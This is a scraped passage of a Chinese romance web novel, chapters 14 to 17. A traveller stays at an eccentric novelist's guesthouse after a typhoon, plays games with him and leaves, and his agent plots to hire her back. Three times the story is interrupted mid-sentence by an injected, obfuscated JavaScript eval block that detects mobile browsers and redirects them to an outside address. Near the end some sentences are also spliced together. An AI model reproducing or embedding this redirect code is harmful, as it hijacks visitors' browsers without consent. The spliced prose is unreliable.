韩暑捧着三明治,笑得浑身颤抖。 眼看大鹅重出江湖,闻知屿无语地收回视线,没有了第一次的大惊小怪,埋头淡定干饭。 没办法,房客又犯神金了。 韩暑一边笑一边吃,“哎,你当时为什么觉得我会谋杀你?” 这还是两人第一次聊这件事。闻知屿清清嗓子,“因为你这人可怕得很。” 听到这样的评价,韩暑皱了脸,“啊?” 闻知屿终于问出了困扰已久的问题,“你为什么会回答我的问题?” “不是免房费吗?”韩暑纳闷,“你之前的房客难道不回答吗?” “嗯。”闻知屿郁闷,“他们都觉得我有病,甚至还有人报过警。” 你确实有点病…… 韩暑没好意思说,见他垂头丧气甚至安慰道:“报警有点夸张吧?” 违心,实在违心。 毕竟她差点都报警了。 “有一对年轻夫妻敲门入住,刚好符合那天的入住条件。我特别开心,站在门口问了她们第一个问题……” 那日艳阳高照,闻知屿单手抄兜掩住兴奋。为了不吓到客人,还刻意让语气温和友好,“满足入住条件吗?” 男人扫了眼白板,已然面露不解,“满足是满足,但这什么意思啊?” 闻知屿颔首,“回答问题免房费。” 夫妻对视,均是一脸错愕。 闻知屿不想放过这个机会,问道:“第一个问题,你选择杀掉出轨的伴侣还是情妇情夫?杀人手法是什么?两位请分别作——” 作答的答还没说出来,男人手里的矿泉水瓶迎面飞来。 夫妻二人手拉手,留给闻知屿两个仓惶逃跑的背影。 闻知屿:…… 原以为只是挨一下物理攻击,没想到五分钟后,夫妻二人携民警杀了回来。 “就是他!” 两位警察一脸严肃地上前,一左一右夹住闻知屿,“怎么回事?” 闻知屿的心在那一天,被刺目的阳光、脸颊的钝痛、冰冷的质问和嫌弃的眼神,伤得片甲不留,刺得千疮百孔。 虽然问题先生讲述这个故事时面色忧伤就差热泪两行,但韩暑还是不厚道地笑了,“你看吧!你就是很奇怪哈哈哈哈哈——” 闻知屿咸咸地看了她一眼,“回答问题的你,也一样奇怪。” 韩暑的笑容僵在脸上。 这话她还真……没法反驳。 她忿忿地吃掉最后一口,忽然想起昨天某人奇怪的理由,气焰瞬间涨了回来,“还是没有你奇怪。谁会觉得人感冒发烧会死啊!” 闻知屿神色淡了些,“会死,我见过。” 说罢,他起身去了厨房。 韩暑石化,一时分不清这人是认真的还是开玩笑的。回过神来,才发现闻知屿不仅端走了他自己用过的盘子,还端走了她这一份。 水声阵阵。 韩暑追过去,“你洗碗吗?” 闻知屿没回头,“嗯,我洗。谢谢你的早餐。” 水池边,男人宽阔的肩背松垮垮地挂着黑色居家服,衬得背影愈发瘦削单薄。 少顷,她收回视线,去冰箱找了块鸡胸肉,微波炉解冻后回了房间。 打开浴室门,大咪闻到味道便蹭了过来。 “别急。”韩暑失笑,耐心地撕成小块,这才将碗推至它面前,“吃吧。” 她洗了手,蹲在旁边看猫猫吃播。看了一会,冷不丁问:“咪,你说发烧会死人吗?” 大咪:? 听不懂,不回应,专心吃饭。 韩暑掏出手机,输入“发烧会死人吗”按下搜索。 网页刷新,密密麻麻的字映入眼帘。 “发烧本身通畅不会直接致命,但极端高热或伴随严重疾病时可能危及生命……”韩暑咂舌,“还真会死人啊!” 也不知道闻知屿是开玩笑还是真见过,但他说那句话时的神态和语气确实和平时不太一样。 韩暑琢磨了好一阵,咪也吃完了早餐。虽然还是没琢磨明白,但她决定了一件事。 既然问题先生这么想玩,那就陪他玩吧! 忽略前期的惊吓和各自占50%责任的落水,她在这白吃白住,还得他照顾,那就顺着他吧! 韩暑出了房门,厨房的水声不知何时停了,静悄悄。 她往客厅走,正想出声呼唤,便看到闻知屿坐在沙发上,直勾勾地盯着茶几上的鸡蛋,干瞪眼似的。 韩暑走过去,在他眼前挥挥手,“哎!发呆呢!” 闻知屿只是眨眨眼,没移开视线,“我想问个问题。” “问,随便问。”韩暑希望他多问一点,这样她会觉得交换更加等价一下,不至于因为吃了很多免费食物而心存愧疚。 什么杀人分尸,什么诡异问题,她全盘接受。 闻知屿困惑,“你说,人能在不破坏蛋壳的情况下吞下生鸡蛋吗?” 韩暑:…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903492|176738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好好好,换花样是吗? 她无语,“这个世界上,只有蛇能做到吧?” 闻知屿想了想,用力张开嘴巴,用力张开嗓子眼,模拟吞咽。 结果显而易见。 “……”韩暑实在无法忍受帅哥不顾形象做一些奇怪的事情,敲敲茶几,“别吞了,玩吗?” 闻知屿立刻放弃实验,合上嘴,“玩!” “砸鸡蛋有点浪费,咱换个玩法吧。” “我就想玩这个。”闻知屿坚定。 “一样的游戏,换个形式。把鸡蛋换成——瓶盖什么的,只要和拍塑料碗的声音不一样就行。”韩暑说完,觉得自己怎么跟哄小朋友的幼儿园老师似的…… 还好,大龄儿童同意了。 两人说玩就玩,游戏开始。 韩暑之前玩过,反应很快,原以为铁定能赢,没想到闻知屿上手也很快。节奏加速,两人噼里啪啦拍碗拿碗拍桌子,拍了差不多三四分钟手都拍红了,还没分出胜负。 “停停停!” 闻知屿疑惑,“怎么了?” 韩暑看了眼掌心,寻思再拍下去得手得肿成面包,“咱要不加点难度吧?” “怎么加?” 韩暑跑去厨房找了个不锈钢盆,又找了根筷子,和塑料碗并排放好,“分出胜负的话,赢的人拿筷子砸头输的人拿盆档头。没分出胜负的话数数字,拍第13下桌子的人拿盆、另一个人拿筷子。” 闻知屿理解了下,“就是增加一个攻击防守环节。” “对。” “好。” 游戏再次开始。 两人噼里啪啦又开始拍桌子拍碗。但因为惩罚显像化,竞争开始激烈。 韩暑拿起碗,默数十二。闻知屿迅速错手,拍下第十二次桌子。 韩暑放下碗,准备下次轮到她的时候继续拿碗。谁知闻知屿也数得很清楚,碗刚放下就被他拿了起来。 她拍了第十三下后赶紧拿盆扣在脑瓜上,几乎同时,筷子嘣一声砸了上来。 好险…… 一轮结束,闻知屿放下筷子,唇角勾起一个明显的弧度,“好玩。” 韩暑失笑,“好玩继续玩,下轮换个数字。” “十七?” “行,十七。” 桌碗二重奏再次上演。 两个反应快的人玩起来那便是眼花缭乱。 这回韩暑使了个心眼,故意出声数,少数一次干扰闻知屿。 “十五!”闻知屿拿碗,韩暑拍桌。 “十六!”韩暑拿碗,闻知屿拍桌。 然而干扰失败。 韩暑嗖地拿起筷子,闻知屿嗖地举起盆。 只听“咣”的一声,闻知屿手里的盆沿磕在了闻知屿的脑门上。与此同时,韩暑手里的筷子砸在了闻知屿的天灵盖上。 “啊!”闻知屿痛呼出声。 “噗!”韩暑笑出声。 问题先生额头肉眼可见,起了个包。包上肉眼可见,有一道竖条。 韩暑悄悄放下筷子,谨慎提问:“还玩吗?” “玩。”闻知屿放下捂头的手,顶着滑稽的肿包坚决地说,“我要一直玩到你退房为止!” 韩暑:…… 她径直走向防盗门,“你好我现在就要退房,麻烦房东尽快受理。” 15. 第 15 章 当晚,韩暑梦见自己的太阳穴上顶了把枪,而她在扇巴掌。 ——扇闻知屿巴掌。 黑衣人恶狠狠道:“不许停!” 韩暑嘤的一声就哭了,“我也不想停,可我胳膊真的好痛啊……” 枪口陡然用力,韩暑被顶得偏过头去。吓得她赶紧闭嘴,用尽全身力气、忍住肌肉的酸痛,抡圆膀子,冲闻知屿那张无辜却可恨的俊脸呼了过去。 “啪!” 韩暑醒了。 她从平躺翻至侧身,左手抓右手手腕,像搬运碎尸一样将手臂平移至床垫。一边按摩肌肉一边寻思,乳酸再多一点都能闻到味了。 倒是做了个美梦。 昨天,闻知屿真的薅着她玩了一整天,半夜十一点她眼皮子都打架了,人家还意犹未尽…… 比起民宿,他应该开幼儿园才对! 梦里做了现实不敢做的事,韩暑闭目养神并反复回味。 “嗡嗡!” 刚眯着,枕边手机震动。 韩暑睁开一只眼,屏幕上是一串陌生中有些熟悉的号码。她按下接听,“您、好?” “你好,我是被树砸了的车主——不是,被树砸了的车的车主。” 听到声音的瞬间,韩暑也想起来,“啊你好,有什么事吗?” “是这样。”车主尴尬地笑了两声,“我联系了保险公司,那边需要提前了解一下水淹到什么程度。电车系统全瘫痪了,我这边什么都看不到,也联系不到琼岛的朋友……想问一下,如果你恰好在附近、如果方便,能不能帮我拍两张照片呢?” 睡意溜走。 韩暑下床,拉开窗帘,往外一看——水蓝的天,万里无云。柔和的日光倾落于每一寸肌肤,连尸斑都淡了不少。 车主像有心灵感应似的补充:“我看今天琼岛晴了,路面积水好像也处理干净了。” 韩暑伸了个懒腰,看天气确实想出门走走,便答应了。 “方便。光拍照就行吗?” “谢谢,谢谢姑娘。”车主舒了口气,“拍一下外观,再拍一下车内、驾驶座的情况就好。照片麻烦发我微信,就是这个手机号。” “好,没问题。”韩暑走进浴室,避开大咪的蟒蛇绕腿,“前几天积水挺深,估计有些严重。您还是得尽快处理。” “我手头还有些工作,明天的飞机到。”车主沉沉地笑了,“谢谢。” 挂了电话,韩暑飞速洗漱吃早餐,闻知屿的那份放在冰箱留了字条,咪的那份配送到家,然后雄赳赳气昂昂的出门了。 她深吸一口雨后初晴的清爽,感受着因为长时间潮湿而皱巴的毛孔舒展开来,心情好了许多——连对闻知屿的怨气都平复了不少。 韩暑逆着来时路走过小巷,走过椰子树下的林荫道,回到了那个堪称命运转折的人生路口。这一段路彼时另她崩溃绝望,风雨过后再走,尽是坦途。 不过十分钟,便到了地方。 她抬手摸了摸车尾,扼腕叹息,“你还有气吗?还能救吗?” ——积水退去,一道横过车尾灯的泥巴色印记像伤口一般刺目。在看车头,那颗树枝扎进挡风玻璃后又被台风吹倒,疏密不一的裂痕布满挡风玻璃。车内,一看就价值不菲的座椅面全部被水泡了,中控台都满是泥渍,触目惊心。 韩暑绕车一周拍照录像后从车主微信发了过去。 一并发去的有两个字。 节哀。 与此同时,闻知屿猝然睁眼,翻身坐在床沿,将脸深深埋于掌心,陷入剧烈的喘息。瘦削的背像一把拉满弦的弯弓,紧绷又颤抖,再多一毫米似乎就要弯折。 自从把这本现实题材的小说摆上日程,他又开始频繁地做相同的梦,频繁地回到那节走不到尽头的旋转楼梯。 颜色、声音、气味、触感…… 思维的列车在虚空中破风而行,他奋力向反方向奔跑,却怎么都回不到起点。 良久,闻知屿拿起手机,拨了秦建翎的电话。 “终于回电话了?不过没事了,我已经找人去——” “建翎。”闻知屿轻声,“我还是一个字都写不出来。” 秦建翎原本轻快的语气陡变,“写不出来就不写,你本身擅长的就不是现实题材,何苦强迫自己呢?” 一股浊气困于肺部,闻知屿怎么深呼吸,都无法缓解胸腔的憋闷,“这个故事,是我唯一的写作目标。我必须写。” 沉默。 良久,秦建翎问:“你最近作息好吗?有没有做些调节情绪的事情?” “白天挺好。”闻知屿死水一样的黑眸起了波澜,虽然嗓音还有梦魇后的喑哑,但语气却像小朋友炫耀新玩具一般,“我玩游戏了!” 秦建翎失笑,“什么游戏?跳跳杆还是造纸船?” “不是。”闻知屿说,“游戏叫拍鸡蛋,就是用一个塑料碗扣一个鸡蛋,两个人轮流,可以拍可以拿可以……” 他以作家的专业修养,极其详细的介绍了游戏规则,还讲述了游戏过程中的高光时刻。 听完,秦建翎总结,“……你那房客确实挺奇怪的。” 闻知屿回忆一番后心情大好,也不坐在床沿装“思想者”了,喜滋滋地拉开窗帘。旋即手一僵,喃喃自语,“……天晴了。” “是啊,我看琼岛网友们纷纷奔走传递喜讯。”秦建翎说,“这好事啊,你也出去晒晒太阳。别跟个吸血鬼似的,缺钙骨质疏松知不知道?” 人类的悲欢并不相通。 闻知屿蔫巴巴,“我的房客快要走了。” “这都住了五天了,马上到七天期限。没说什么时候退房?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903493|176738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“不知道,她没说。” 闻知屿转念一想,七天,那还差两天。 要抓紧最后的时间多玩几个游戏。 他急火火地冲进浴室,“不说了,我还有事。” 秦建翎早就习惯了他的情绪过山车,用最快的语速和最平静的语气输出信息,“我明天晚上的飞机落地琼岛,准备好银行卡给我赔车。至于小说,试试用纸笔——五年前你自己的老方法。如果还是没灵感那就是时机不到,别心急。” 闻知屿嗯嗯的应承,其实满脑子想的都是今天该玩什么。 挂了电话,他飞速洗漱下楼。 客厅没有韩暑的身影,餐厅也没有。他去敲卧室门,没人应。 人呢? 闻知屿径直走到门口,拉开住客鞋柜——粉色拖鞋和灰色拖鞋并排,没有韩暑那天传来的凉鞋。 人出去了。 期待落空,他重重合上柜门,拖着步子把电脑抱下来,顺带拎了个本和笔,在茶几——恰好能看到防盗门的位置坐定。 说好的要玩游戏呢?她怎么出去了?说话不算数!她怎么这么过分!他一定要在今天的游戏环节赢过她!今天到底玩什么她还没说?会好玩吗?哎,她到底什么时候回来! 韩暑拍完照,又去了趟最近的沙滩。下过雨,近处的海水有些浑浊,没有往日清透,却多了些苍茫,是很少见的景色。加上早上吃得饱,她便多坐了一会,下午四点多才往回走。 刚到别墅门口,正要推门,身后传来一个温柔的中年女声。 “姑娘,你是住客吗?还是小闻的女朋友?” 听到前半句韩暑刚想说是,听到后半句她直接一脚踩空。转过身来,一位慈祥和蔼的阿姨正笑眯眯望过来。 韩暑连连摆手,“不是不是不是,我是住客。” 阿姨恍然大悟,轻车熟路地走进院子,一边回头寒暄,“是台风前就住下了吧?” 韩暑猜测这位大概是闻知屿的阿姨,乖乖跟上,“对,台风着陆前一天住的。” “住得习惯吗?” “习惯的阿姨。” “那就好。”阿姨在院子中站定,环顾四周的狼藉后叹息,“这得好好休整了……等会我先去你住的房间,这几天都没过来,辛苦你自己收拾了。” 韩暑怪不好意思,“不麻烦阿姨了。” 阿姨佯装不悦,“这怎么是麻烦呢?” “真不用阿姨。我明早就退房了,今天打扫平白增加工作量——” 滴滴! 防盗门从内打开,闻知屿一身黑色居家服出现在视野之中。他半垂着眸,阳光在眼窝投下暗影,冷白的肤色像陶瓷般易碎。一并碎裂的还有他的声音。 闻知屿的声音又低又哑。 只听他用陈述的语气问道:“你明天就要走。” 16. 第 16 章 下午,韩暑收到了后海村房东的消息,约好了明早看看房。她寻思台风结束了总归要搬过去,与其明天去一趟回来,还不如一次性搞定。 原想一回来就和问题先生民宿的老板问题先生说这件事,谁知计划赶不上变化。 此刻,闻知屿看她的眼神、说话的语气,包括双手抄兜冷冷淡淡的站姿,都莫名奇妙地让她想到了怨夫这个词。 怨夫? 韩暑赶紧住脑。 “正想和你说呢,天气好转,我也联系了后海那边的住处,所以打算明天退房。” “明天是第六天。”闻知屿说。 “对。”韩暑用力点头,“入住手册上每一条我都记着呢,没有超时哦!” 闻知屿薄唇抿得更紧了,也不说话,转身就往里走。 韩暑和阿姨对视,两脸无辜。 不是,他在闹脾气吗?他闹什么脾气?她这么遵规守纪的房客,他到底有什么不满?这什么阴晴不定的臭脾气! 待两人走到客厅时,闻知屿的身影已经消失在了楼梯尽头。 阿姨抱歉地笑了,打圆场道:“小闻就是这样的性格,没有恶意,你不要多想。” 韩暑心道小闻的性格她可太清楚,面上却不显,只是笑着说知道了。 旋即阿姨疑惑,“但小闻头上那个大包是怎么回事?” 被自己打了呗!韩暑憋笑。 回到房间,韩暑立刻着手收拾行李,除了当晚要用的洗漱用品衣物,其他一概装箱。 进浴室时,三只咪不约而同蹭了过来,大咪绕着她的腿转了几圈后侧卧,露出软嫩的腹部。二咪小咪也学者妈妈的样子躺倒,一翻身,便四脚朝天了。 韩暑小心翼翼地摸大肚小肚,见三只都眯眼享受,动作这才逐渐放肆起来。 “咪呀,咱明天就要离开这豪华别墅去过苦日子了。怎么办?能适应吗?” 大咪应和一般,“喵!” “你们是琼岛咪,我不是琼岛人,没法养你们。闻知屿那人一看就冷血无情没爱心,也不会养你们……我要是发帖子,能给你们找到一个家吗?” “喵!” “那我试试吧。”韩暑叹息,“本来想给你做绝育,可周围五公里一家宠物医院都没有,就算送去也没人能照顾。你又不能拖家带口跟我去后海,人生猫不熟的。” “喵!” “你说闻知屿——就是和我一起带你回来的男人,他为什么生我气啊?嫌我今天出门没陪他玩吗?”韩暑苦思冥想。 “喵!” 一人一猫就这样推心置腹,交谈了一番。 韩暑出房门的时候已经到了晚餐时间,一阵阵诱人的香气从餐厅飘来。她嗅到的下一秒,两条腿跟长了脑子似的,自己就往那边走了。 转过拐角,一颗冷淡的后脑勺映入眼帘。 餐桌上,已经摆了一只精致的珐琅汤锅、一盘似曾相识的牛仔骨及其他一荤两素。闻知屿却捧了本书,看得津津有味。 “姑娘,坐下一起吃。”阿姨看到她,端着两只碗走了过来,一只给闻知屿,一只放在了对面。 “不用不用。”韩暑吞咽了下,强迫自己移开视线,“我随便做点就行,你们吃。” 阿姨在围裙上擦擦手,亲昵地拉住韩暑,一路摁到板凳上才松开,“专门给你做的。听说这几天都是你做饭,既然明天都要走了,不尝尝阿姨的手艺?” 韩暑一向不太会和长辈交流,更别说拒绝了。稀里糊涂地坐下,稀里糊涂地拿起筷子,稀里糊涂地开始吃。 阿姨结束厨房的工作,交代了一句吃完碗放着,便去二楼了。 韩暑喝了一口冬瓜排骨汤,鲜嫩的气息充斥味蕾,于是又喝了一大口。 对面,闻知屿全当她是空气,还在看书,另一只手用筷子有一下没一下戳着碗里的牛仔骨。 奇了怪了。韩暑问:“没食欲吗?” 闻知屿纡尊降贵地瞟了她一眼,把书往上抬了抬,“看书。” 封面直对韩暑的脸,上面赫然六个大字——纯粹理性批判。 韩暑:…… 是在内涵她吗?是在内涵她吧。 她语塞,“康德写这本书的时候,知道你会这么用吗?” 她看见了,闻知屿也不演了,啪地合书放在一边,一口就吃掉了被冷落已久的美味牛仔骨。 韩暑:…… 哥你是真的一点都不装啊! 她放下碗,“我明天就退房,你还有什么问题想问吗?” “没有。” “……没有?” 闻知屿始终垂着眼睑,“嗯。” 入住六天,才回答了几个问题? 道德感作祟,韩暑总觉得她占了便宜,莫名理亏。于是提议,“那不然吃完饭,咱们重新玩一个游戏?” 谁知,闻知屿轻飘飘地拒绝,“不用了。” “你下午生气不就是因为没陪你玩吗?怎么又不想玩了?” “不想了。” “……”韩暑欲言又止,“那康德是怎么回事?” 闻知屿吞咽,抬眸,正色道:“谴责你。” 韩暑:…… 许是她的无语从双眼倾泻而出,闻知屿放下筷子,“昨天我们玩最后一盘游戏的时候,你说太累了今早再继续。今早呢?” “那不就是一句——” “客套话。”闻知屿说,“我说还想玩,你坚持说就明早。我说那好的早睡早起起来继续,你一边张着嘴打哈欠一边抠脸一边说晚安。明早是客套话,晚安是客套话吗?你刚才说吃完饭玩也是客套话吗?” 韩暑半是好笑半是无奈,放缓语气解释,“我起床的时候你还没起,刚好有点事就先出去了。确实没想到你在等我。” 闻知屿用探究的眼神凝视她,半晌后点头,“嗯,那我原谅你了。” 韩暑不敢相信自己的耳朵,“啊?” 闻知屿字正腔圆地重复,“原谅你了。” 从气鼓鼓到原谅可是一分钟都不到,韩暑忍俊不禁,“那吃完饭还玩吗?” “不玩了。”闻知屿倾身抽了张纸巾,擦擦嘴,“早点休息,晚安。” 说罢他收回视线,放好碗筷起身,利落地向楼梯走去。 韩暑黑人问号脸,冲那笔挺的背影喊道:“明天我一早就走,离开前打算放生壁虎和猫咪,要一起吗?” “不用了。” 淡漠的男声经过电视墙拐角的过滤变得更轻更远。 闻知屿迈开家居裤包裹下的两条长腿,没再回头。 韩暑定定地望着那抹身影消失的地方,有些怅然若失,又有些说不上来的酸楚。 吃过饭,她像第一天来时一样站在门廊,环顾四周。 这间只有黑白灰三色的别墅,主人是一位有着黑白灰的躯壳和色彩斑澜的内心的作家。他有时候很高冷,有时候会幼稚,有时候像个神金病,偶尔还像个变态杀人犯。 问题先生民宿是一家没有服务的民宿,但却和家一样温馨。问题先生是一个毫无服务意识的老板,但是一个很好、很可爱也很有趣的人。 因此,当第二天早上韩暑离开,而闻知屿始终没有现身时,竟然有些伤感。 只是六天而已,六天,她怎么还有点不舍?怪她太心软,不如二楼那个心硬!怎么说也是六天的相遇,怎么能这么不在意? 韩暑压下思绪,用钥匙划开封住壁虎箱子的胶带,然后噔噔倒退三米远。从地牢重见天日,没一会一大一小壁虎便现了身。待两个灰突突的身影消失在院落里的“断臂残肢”之间,才蹑手蹑脚收拾残局。 “咪,下一个就是你们了。” 韩暑奋力推开大门,先把装着猫的纸箱抱下台阶,这才回来提笨重的行李箱。当黑色铁门在吱呀声中闭合,当院落里的景色在门缝中收窄直至彻底消失,她在心里骂了一句冷血,又默默地说了一声谢谢和再见。 闻知屿和她说的最后一句话是晚安,而这是没有来得及和闻知屿说的谢谢和再见。 希望在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903494|176738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前方,去后海村会认识新的人会有新的故事。 轮子和石板路碰撞发出规律的声响,韩暑一步步向前,拨散了来时的茫然,走向愈发清晰的目标。 太阳东升西落,时间的流逝在日光残影中变得具像。 当秦建翎用指纹解锁防盗门,踏进别墅,被西侧那扇窗亮金色的夕阳刺花了眼,好半天视线才清明。 一片寂静。 秦建翎轻车熟路的找到拖鞋换好,边往进走边扯着嗓子喊:“知屿?闻知屿?闻——我擦你坐在这干什么呢?打坐?” 只见闻知屿盘腿挤在沙发和茶几的缝隙里,佝偻着背,双眼呆滞双目无神,短发向四面八方无规律的翘着,一副丢了魂的可怜样。 秦建翎一屁股坐在他旁边的沙发上,大为稀奇,“闻老师终于走火入魔失心疯啦?” “滚。”闻知屿凝固的瞳孔往左侧斜了两毫米,“我不高兴。” “还是写不出来?” “不是。” “那是——没找到新的消遣?” “不是。” “没吃好?” “不是。” 秦建翎纳闷,“那你这半死不活的怎么回事?难不成是因为你那个奇怪的房客z——” ou的音还没发出来,两记冷冰冰的眼刀飞来。 闻知屿双手撑地,屁股旋转九十度,双手奉上一张A4纸,“你看。” 秦建翎一目十行,越看越震惊。 工工整整的字迹布满整张纸,密密麻麻,全都是—— 游戏。 什么双人绘画互换挑战,扑克牌拼记忆、筷子夹纸杯、蒙眼打人、翻荷包蛋、拖杯挑战……秦建翎叹为观止,正想提出疑问,一只手用力抓住了他的膝盖。 四目相对,眼里只有真诚,“老秦,你会陪我玩这些游戏吗?” 秦建翎嘴角抽搐,“我——” 闻知屿伤心欲绝,“你不会。” 秦建翎讪笑,“嗯怎么说呢——” “没有人会。” 闻知屿又旋转了九十度面朝沙发,嗵的一声把脸埋进靠垫,不动了。 秦建翎猜到了七七八八,把纸放回茶几上,慢吞吞道:“是,只有你的房客会。” “……”闻知屿继续装死。 “但人家已婚已育啊!” 闻知屿坐起来了,“已婚已育怎么了?已婚已育就不能玩游戏了?” “行行行。”秦建翎双手投降,“但人家都走了,说不准都飞回家了。” 闻知屿趴回去了,声音闷闷的,“没有,她在琼岛旅居。” “旅居也没用,你又不接受长租。” “……” 秦建翎不再搭理他,先去冰箱找了些食物填饱肚子,又去客卧洗了个澡。回一楼喝水的时候发现,这人还在装尸体。 ——还是盘腿脸朝下趴在沙发上,动都没动一下。 “……”秦建翎走过去踢他,“起来!到你的工作时间了!” 闻知屿微微偏头,脑门上多了一个靠垫簪花的印记,“不,我没心情。” 闻知屿疯没疯秦建翎不知道,但秦建翎自己快疯了。这人三个月没写一个字就算了,连一丁点工作状态都没有。出版社那头多大的压力啊,他个经纪人怎么交差!!! 秦建翎深吸一口气,心生一计。 他蹲下,严肃地问:“你有钱,对吧?” 闻知屿眼珠子上下移动表达肯定,“有。” “你和她玩,心情好,对吧?” 闻知屿用力点头,“好。” “心情好,比较容易进入工作状态,对吧?” 闻知屿想了想,“对——吧。” 秦建翎两手一拍,“那你用钱砸,雇她每天来陪你玩几个小时。这样你既不用长租还能玩游戏,玩游戏了心情就好,心情好了工作效率高。Perfect!” 闻知屿弹射坐起,不装死也不颓废了,顶着星星眼,“展开讲讲,怎么砸、砸多少钱合适?” 17-20 第17章 第17章【VIP】 房东打开门的瞬间,韩暑简直不相信自己的眼睛。 “进来看进来看。”身形又瘦又矮的房东撒着拖鞋,咬着烟,“这地方好,就在主路上,干什么都方便,进城坐车也方便。” 韩暑尴尬地笑了下,掩住口鼻,依然挡不住刺鼻的气味。也不知道是装修胶的味道还是旁的,闻起来像是梅雨天沤了一周的抹布。 狭窄的过道,逼仄的客厅,斑驳的墙壁,卫生间里马桶和谁吃的陈年黄渍,掉了皮的古早木床…… 网图是叠了十八层滤镜吧!!! “好久没出租了,打扫一下就好。来看看这视野,村里找不出第二个这么好的地方。你就是看上这露台了吧?” “嗯……” 韩暑应了声,上前一看,彻底绝望了。 说好的ins风观景台呢?结果是个泥了吧唧的房顶,不仅围栏摇摇欲坠,头顶还有楼上突出一块的阳台,晾衣服的话水能直接滴天灵盖那种。 “台风刚过,有点脏。”房东斜倚着门框,猛抽一口,喷云吐雾间问,“怎么样?一千二一个月,押金一个月房租,水电自理。” “一千二?”韩暑蹙眉,“之前问不是一千吗?” 房东摆手,丝毫没有坐地起价的羞愧,“那是前两天的价格了。这几天想来看房的,就这手机——两页都翻不到底,我还是念着先来后到。” 韩暑攥着手,抿唇没说话。 且不说卫生、设施问题,房东这个态度就有问题,真要租下来还不知道会生出多少事端。 见她犹犹豫豫,房东面露不悦,“今天定不定?不定就拉倒了啊!” 闻言,韩暑坚定了想法,立刻往外走,“抱歉,我不打算租。” “嘿你个囊呆!”房东骂骂咧咧地跟上,用力甩上门,“这都看不上你在后海就租不到房子了,这条件已经很不错了,你以为这是京市沪市呢……” 房东变着花样嘟囔,偶尔还冒出几句韩暑听不懂的方言。她一言不发,一步两个台阶沿着狭窄的楼梯下楼,拖着行李箱头也不回地汇入往来电动车流和人流,那尖锐刺耳的骂声还在耳边回响。 坐在工位上幻想的旅居是美好浪漫的,是风花雪月的,然而从第一步起,现实边狠狠击碎了泡沫。 韩暑的心情差到极点,在曲折的巷子里漫无目的的前行。 离开问题先生民宿的第三个小时,她有点想回去了。 住脑住脑! 聚焦于眼下,先解决问题! 韩暑把行李箱挪到路边,在旅游app上浏览了下附近的民宿。马上到暑假,住宿价格也是水涨船高,看起来条件还不错的一晚都要四百到五百之间。她咬咬牙,挑了一个最近的付了款。 当晚,在三十五度酷暑奔波看房却无功而返的韩暑连饭都没吃,洗了个澡倒头就睡。再醒来时,天色已然大亮。 她磨叽了好一会,依然没有积攒起床的动力。翻了个身,赤果的手臂和被子摩擦,触感有些粗糙。 还是问题先生民宿的床品舒服哇! 果然,由俭入奢易、由奢入俭难。她对自己展开深入灵魂的谴责,然后拿起手机,和中介约看房的时间。 一打开微信,两个红点映入眼脸。 【。:找到住处了吗?】 上一条消息还是韩暑求药的语音。 闻知屿? 好奇怪。 这人关心自己,绝对是“非奸即盗”。没弄清他所谋何事,她是不会回的。 韩暑关闭聊天界面,手指往下一划—— 【被树砸了的车主:你好,我已赶到琼岛。方便的话想请你吃个饭表达感谢。】 韩暑手指纷飞。 【无敌强壮卷心菜:心意领了,吃饭就不用了。】 刚发出去,那边秒回。 【被树砸了的车主:台风天这样麻烦你,钱包不出血实在过意不去。】 【无敌强壮卷心菜:我已经离开那一片了,距离有点远。】 【被树砸了的车主:距离没关系,我过来就行。如果不方便吃饭,给一个快递地址也好。寄一点南城特产聊表心意。】 【被树砸了的车主:不管怎样,还是想说一声谢谢。】 韩暑咂舌,还真是一个知恩图报的温柔男人。她敲下“还没找到住处所以没有收获地址”,紧接着又删除。犹豫了一阵,回了一个好。 寄特产后续还要联系,吃饭今天就能解决当前的状况。 约了时间,约了后海村一家有名的餐厅,韩暑翻身起床,迅速收拾出门。 她 新换的微信名,新换的心情,新,奔赴新房源。 “她不回怎么办?”闻知屿抱着手机,别提多郁闷。 “再等等,可能拎着把太阳伞,“我出去处理一下车,你赶紧吃早饭。” 知屿依然捧着手机。 秦建翎从事故现场回来,一身薄汗,瘫在沙发上歇息,有气无力道:“睡懒觉?” “她还是不回怎么办!” 秦建翎已经洗完澡并形象管理结束,某人还窝在同一个地方,复读机似的。他单手系衬衫扣,“我去请我的恩人吃饭,你要不要一起?” 闻知屿狐疑,“恩人?” “嗯。”秦建翎斜他,“你不接电话,我只能求助别人。可不是恩人?” “不去。”闻知屿举起手机到眼睛的高度,“她是唯一的课题,我要一心一意。” “……”秦建翎无语。 之前怎么都不当客服,现在非要抢回客服号,就为了干瞪眼? 出门前,他实在没忍住提醒,“如果她一直不回,那就是不想回。” 